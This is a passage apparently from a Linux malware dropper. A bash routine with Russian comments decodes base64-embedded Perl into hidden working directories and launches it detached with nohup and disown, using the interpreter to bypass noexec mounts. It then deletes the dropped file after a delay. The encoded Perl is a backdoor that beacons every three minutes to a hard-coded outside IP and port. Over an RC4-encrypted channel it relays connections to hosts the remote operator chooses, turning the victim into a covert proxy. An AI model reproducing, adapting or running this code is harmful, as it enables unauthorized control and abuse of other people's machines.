B7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_ba41b4eb() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODAnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uM